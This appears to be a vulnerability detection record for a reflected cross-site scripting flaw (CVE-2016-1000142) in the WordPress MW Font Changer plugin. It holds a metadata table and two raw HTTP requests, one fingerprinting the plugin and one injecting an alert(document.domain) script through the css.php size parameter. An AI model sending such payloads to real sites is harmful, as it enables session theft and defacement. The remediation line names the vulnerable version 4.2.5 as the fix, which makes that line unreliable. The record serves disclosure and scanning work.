| Title | WordPress MW Font Changer <=4.2.5 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Allows remote attackers to execute arbitrary script or HTML code in the context of the affected site, potentially leading to session hijacking, defacement, or data theft. |
| Remediation | Update to the latest version of the WordPress MW Font Changer plugin (4.2.5) or remove the plugin if it is not necessary. |
| CVSS Score | 6.1 |
| EPSS Score | 0.07251 |
| CVE ID | CVE-2016-1000142 |
| CWE ID | CWE-79 |
| Tags | cve2016 cve wordpress wp-plugin xss wpscan parsi-font_project vuln |
WordPress MW Font Changer plugin 4.2.5 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-content/plugins/parsi-font/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.6
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/parsi-font/css.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.4
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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